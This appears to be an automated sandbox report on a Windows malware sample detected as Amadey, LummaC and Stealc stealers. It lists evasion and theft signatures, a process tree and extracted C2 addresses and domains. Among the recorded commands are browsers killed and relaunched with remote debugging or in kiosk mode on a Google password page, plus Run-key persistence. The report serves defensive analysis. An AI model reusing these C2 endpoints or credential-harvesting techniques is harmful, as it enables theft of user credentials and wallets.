Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557997
MD5:	ffc4509537ae91b049189c9f7bc777e0
SHA1:	d07824e044eaea5c875d4c234eccdcfb46676720
SHA256:	73dedcc630ebd68669c7ee7befac513271f3a06b39ba6e20f4a4cb585ea726ad
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7424 cmdline: "C:\Users\user\Desktop\file.exe" MD5: FFC4509537AE91B049189C9F7BC777E0)

skotes.exe (PID: 7608 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: FFC4509537AE91B049189C9F7BC777E0)

skotes.exe (PID: 7620 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: FFC4509537AE91B049189C9F7BC777E0)

skotes.exe (PID: 280 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: FFC4509537AE91B049189C9F7BC777E0)

d657e56348.exe (PID: 7128 cmdline: "C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe" MD5: 0DDCD6763D9C2104F94916AD73E8E3DC)

chrome.exe (PID: 5216 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d657e56348.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5468 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1968,i,13570969027934469325,13318670452781412402,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

7208c9365d.exe (PID: 7500 cmdline: "C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe" MD5: 2F595E9186B87CD4870EA38F16393D8F)

chrome.exe (PID: 8004 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6472 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1468 --field-trial-handle=2056,i,3012955416416702549,4677729921786788452,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

WerFault.exe (PID: 5268 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7500 -s 1628 MD5: C31336C1EFC2CCB44B4326EA793040F2)

9ef14397f2.exe (PID: 344 cmdline: "C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe" MD5: 4B11625A1A51DEA74C7DEC7F2936DC38)

taskkill.exe (PID: 5796 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2088 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1104 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4956 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7908 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3592 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

c459772a8a.exe (PID: 6732 cmdline: "C:\Users\user\AppData\Local\Temp\1007232001\c459772a8a.exe" MD5: B88C844BF623B8DAC6D76610452878D8)

193820fbcc.exe (PID: 412 cmdline: "C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe" MD5: F1B25767284AA3DBB2EE4B14CF43AF3F)

d657e56348.exe (PID: 7712 cmdline: "C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe" MD5: 0DDCD6763D9C2104F94916AD73E8E3DC)

chrome.exe (PID: 7312 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d657e56348.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6040 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=2020,i,6744772953434628688,16054015691186099406,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7264 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d657e56348.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6820 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2016,i,4136931338263359436,2381881144653388930,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

firefox.exe (PID: 2308 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3524 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6264 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2196 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b11864e5-b0df-4bd3-ba49-9713f723c78a} 3524 "\\.\pipe\gecko-crash-server-pipe.3524" 283b0f6f710 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6256 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4060 -parentBuildID 20230927232528 -prefsHandle 3984 -prefMapHandle 4132 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5f6648a2-b370-487a-8183-4c238fe51893} 3524 "\\.\pipe\gecko-crash-server-pipe.3524" 283c3059210 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

7208c9365d.exe (PID: 2004 cmdline: "C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe" MD5: 2F595E9186B87CD4870EA38F16393D8F)

9ef14397f2.exe (PID: 1860 cmdline: "C:\Users\user\AppData\Local\Temp\1007231001\9ef14397f2.exe" MD5: 4B11625A1A51DEA74C7DEC7F2936DC38)

taskkill.exe (PID: 1872 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5180 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4000 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6504 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4960 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6912 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7072 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3548 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2340 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2232 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {36ae4db8-f077-4782-b582-82aab769c46a} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 131e6e6fd10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6952 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4680 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4712 -prefMapHandle 4708 -prefsLen 32092 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a5b0849c-9612-4134-96c4-d06596c2f224} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 132006c2310 utility MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

d657e56348.exe (PID: 4416 cmdline: "C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe" MD5: 0DDCD6763D9C2104F94916AD73E8E3DC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["peepburry828.sbs", "3xp3cts1aim.sbs", "processhol.sbs", "p3ar11fter.sbs", "p10tgrace.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000008.00000003.2458202150.00000000051D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1814294358.0000000000681000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1774197561.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1802564632.0000000004810000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.2462430893.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1842083590.0000000000F71000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.2866992029.00000000007E1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.1801290640.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.2443163369.00000000013AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.2587158839.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2657408134.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.2294665759.0000000005560000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1848628613.0000000000F71000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: d657e56348.exe PID: 7128	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d657e56348.exe PID: 7128	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d657e56348.exe PID: 7128	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7208c9365d.exe PID: 7500	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7208c9365d.exe PID: 7500	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: d657e56348.exe PID: 7712	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d657e56348.exe PID: 7712	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d657e56348.exe PID: 7712	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9ef14397f2.exe PID: 344	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.skotes.exe.f70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.f70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.680000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 280, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d657e56348.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1007230001\7208c9365d.exe, ParentProcessId: 7500, ParentProcessName: 7208c9365d.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 8004, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 280, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d657e56348.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T21:04:13.864827+0100	2028371	3	Unknown Traffic	192.168.2.4	49817	188.114.96.3	443	TCP
2024-11-18T21:04:15.638126+0100	2028371	3	Unknown Traffic	192.168.2.4	49824	188.114.96.3	443	TCP
2024-11-18T21:04:17.701621+0100	2028371	3	Unknown Traffic	192.168.2.4	49833	188.114.96.3	443	TCP
2024-11-18T21:04:19.998081+0100	2028371	3	Unknown Traffic	192.168.2.4	49844	188.114.96.3	443	TCP
2024-11-18T21:04:21.749656+0100	2028371	3	Unknown Traffic	192.168.2.4	49854	188.114.96.3	443	TCP
2024-11-18T21:04:24.737693+0100	2028371	3	Unknown Traffic	192.168.2.4	49874	188.114.96.3	443	TCP
2024-11-18T21:04:25.246869+0100	2028371	3	Unknown Traffic	192.168.2.4	49875	188.114.96.3	443	TCP
2024-11-18T21:04:27.847739+0100	2028371	3	Unknown Traffic	192.168.2.4	49899	188.114.96.3	443	TCP
2024-11-18T21:04:27.913783+0100	2028371	3	Unknown Traffic	192.168.2.4	49900	188.114.96.3	443	TCP
2024-11-18T21:04:29.872441+0100	2028371	3	Unknown Traffic	192.168.2.4	49915	188.114.96.3	443	TCP
2024-11-18T21:04:31.855564+0100	2028371	3	Unknown Traffic	192.168.2.4	49929	188.114.96.3	443	TCP
2024-11-18T21:04:34.491388+0100	2028371	3	Unknown Traffic	192.168.2.4	49946	188.114.96.3	443	TCP
2024-11-18T21:04:34.509865+0100	2028371	3	Unknown Traffic	192.168.2.4	49949	188.114.96.3	443	TCP
2024-11-18T21:04:38.854428+0100	2028371	3	Unknown Traffic	192.168.2.4	49983	188.114.96.3	443	TCP
2024-11-18T21:04:40.975067+0100	2028371	3	Unknown Traffic	192.168.2.4	50000	188.114.96.3	443	TCP
2024-11-18T21:04:43.654162+0100	2028371	3	Unknown Traffic	192.168.2.4	50016	188.114.96.3	443	TCP
2024-11-18T21:05:01.861458+0100	2028371	3	Unknown Traffic	192.168.2.4	50102	188.114.96.3	443	TCP
2024-11-18T21:05:04.781829+0100	2028371	3	Unknown Traffic	192.168.2.4	50131	188.114.96.3	443	TCP
2024-11-18T21:05:06.009258+0100	2028371	3	Unknown Traffic	192.168.2.4	50146	188.114.96.3	443	TCP
2024-11-18T21:05:07.298381+0100	2028371	3	Unknown Traffic	192.168.2.4	50147	188.114.96.3	443	TCP
2024-11-18T21:05:11.355643+0100	2028371	3	Unknown Traffic	192.168.2.4	50151	188.114.96.3	443	TCP
2024-11-18T21:05:12.770331+0100	2028371	3	Unknown Traffic	192.168.2.4	50153	188.114.96.3	443	TCP
2024-11-18T21:05:14.827569+0100	2028371	3	Unknown Traffic	192.168.2.4	50154	188.114.96.3	443	TCP
2024-11-18T21:05:16.377936+0100	2028371	3	Unknown Traffic	192.168.2.4	50157	188.114.96.3	443	TCP
2024-11-18T21:05:16.392403+0100	2028371	3	Unknown Traffic	192.168.2.4	50156	188.114.96.3	443	TCP
2024-11-18T21:05:17.854398+0100	2028371	3	Unknown Traffic	192.168.2.4	50159	188.114.96.3	443	TCP
2024-11-18T21:05:17.944228+0100	2028371	3	Unknown Traffic	192.168.2.4	50160	188.114.96.3	443	TCP
2024-11-18T21:05:19.271932+0100	2028371	3	Unknown Traffic	192.168.2.4	50161	188.114.96.3	443	TCP
2024-11-18T21:05:19.906127+0100	2028371	3	Unknown Traffic	192.168.2.4	50163	188.114.96.3	443	TCP
2024-11-18T21:05:21.010944+0100	2028371	3	Unknown Traffic	192.168.2.4	50166	188.114.96.3	443	TCP
2024-11-18T21:05:23.129917+0100	2028371	3	Unknown Traffic	192.168.2.4	50170	188.114.96.3	443	TCP
2024-11-18T21:05:24.856253+0100	2028371	3	Unknown Traffic	192.168.2.4	50173	188.114.96.3	443	TCP
2024-11-18T21:07:51.837466+0100	2028371	3	Unknown Traffic	192.168.2.4	50291	52.168.117.169	443	TCP
2024-11-18T21:10:14.874088+0100	2028371	3	Unknown Traffic	192.168.2.4	50368	188.114.97.3	443	TCP
2024-11-18T21:10:16.231947+0100	2028371	3	Unknown Traffic	192.168.2.4	50370	188.114.97.3	443	TCP
2024-11-18T21:10:17.775281+0100	2028371	3	Unknown Traffic	192.168.2.4	50372	188.114.97.3	443	TCP
2024-11-18T21:10:19.027333+0100	2028371	3	Unknown Traffic	192.168.2.4	50374	188.114.97.3	443	TCP
2024-11-18T21:10:20.693935+0100	2028371	3	Unknown Traffic	192.168.2.4	50376	188.114.97.3	443	TCP
2024-11-18T21:10:22.065839+0100	2028371	3	Unknown Traffic	192.168.2.4	50377	188.114.97.3	443	TCP
2024-11-18T21:10:23.311732+0100	2028371	3	Unknown Traffic	192.168.2.4	50379	188.114.97.3	443	TCP
2024-11-18T21:10:24.662683+0100	2028371	3	Unknown Traffic	192.168.2.4	50380	188.114.97.3	443	TCP
2024-11-18T21:10:27.963534+0100	2028371	3	Unknown Traffic	192.168.2.4	50384	188.114.97.3	443	TCP
2024-11-18T21:10:29.649265+0100	2028371	3	Unknown Traffic	192.168.2.4	50386	188.114.97.3	443	TCP
2024-11-18T21:10:30.828466+0100	2028371	3	Unknown Traffic	192.168.2.4	50388	188.114.97.3	443	TCP
2024-11-18T21:10:32.312027+0100	2028371	3	Unknown Traffic	192.168.2.4	50407	188.114.97.3	443	TCP
2024-11-18T21:10:33.743258+0100	2028371	3	Unknown Traffic	192.168.2.4	50418	188.114.97.3	443	TCP
